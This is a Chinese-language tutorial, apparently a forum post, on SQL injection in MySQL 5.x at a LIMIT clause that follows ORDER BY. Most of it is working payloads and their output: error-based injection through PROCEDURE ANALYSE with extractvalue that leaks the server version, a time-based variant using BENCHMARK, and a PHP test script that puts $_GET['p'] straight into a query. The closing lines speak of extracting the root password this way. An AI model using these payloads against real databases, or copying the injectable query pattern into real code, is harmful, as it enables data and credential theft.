此方法适用于Mysql 5.x中,在limit语句后面的注入 例如: - SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
复制代码 上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法: - SELECT
- [ALL | DISTINCT | DISTINCTROW ]
- [HIGH_PRIORITY]
- [STRAIGHT_JOIN]
- [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
- [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
- select_expr [, select_expr ...]
- [FROM table_references
- [WHERE where_condition]
- [GROUP BY {col_name | expr | position}
- [ASC | DESC], ... [WITH ROLLUP]]
- [HAVING where_condition]
- [ORDER BY {col_name | expr | position}
- [ASC | DESC], ...]
- [LIMIT {[offset,] row_count | row_count OFFSET offset}]
- [PROCEDURE procedure_name(argument_list)]
- [INTO OUTFILE 'file_name' export_options
- | INTO DUMPFILE 'file_name'
- | INTO var_name [, var_name]]
- [FOR UPDATE | LOCK IN SHARE MODE]]
复制代码 在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢? Let’s give it a try: - mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
- ERROR 1386 (HY000): Can't use ORDER clause with this procedure
复制代码 ANALYSE可以有两个参数: - mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
- ERROR 1386 (HY000): Can't use ORDER clause with this procedure
复制代码 看起来并不是很好,继续尝试: - mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
复制代码 但是立即返回了一个错误信息: - ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
复制代码 sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式: - mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
- ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
复制代码 如果不支持报错注入的话,还可以基于时间注入:
- SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
复制代码 直接使用sleep不行,需要用BENCHMARK代替。
我亲测好用~这里附上我的测试代码: - <?php
- header("Content-Type: text/plain; charset=utf-8");
- require("mysql.class.php");
- $mysql = new MySQL("test", "root", "root");
- $users = $mysql->executeSQL("SELECT * FROM user where uid < 100 ORDER BY uid limit {$_GET['p']}, 10");
- if($users){
- $users = var_export($users, TRUE);
- echo $users;
- }else{
- echo $mysql->lastError;
- }
复制代码报错注入获得root密码: 报错注入获得mysql用户:
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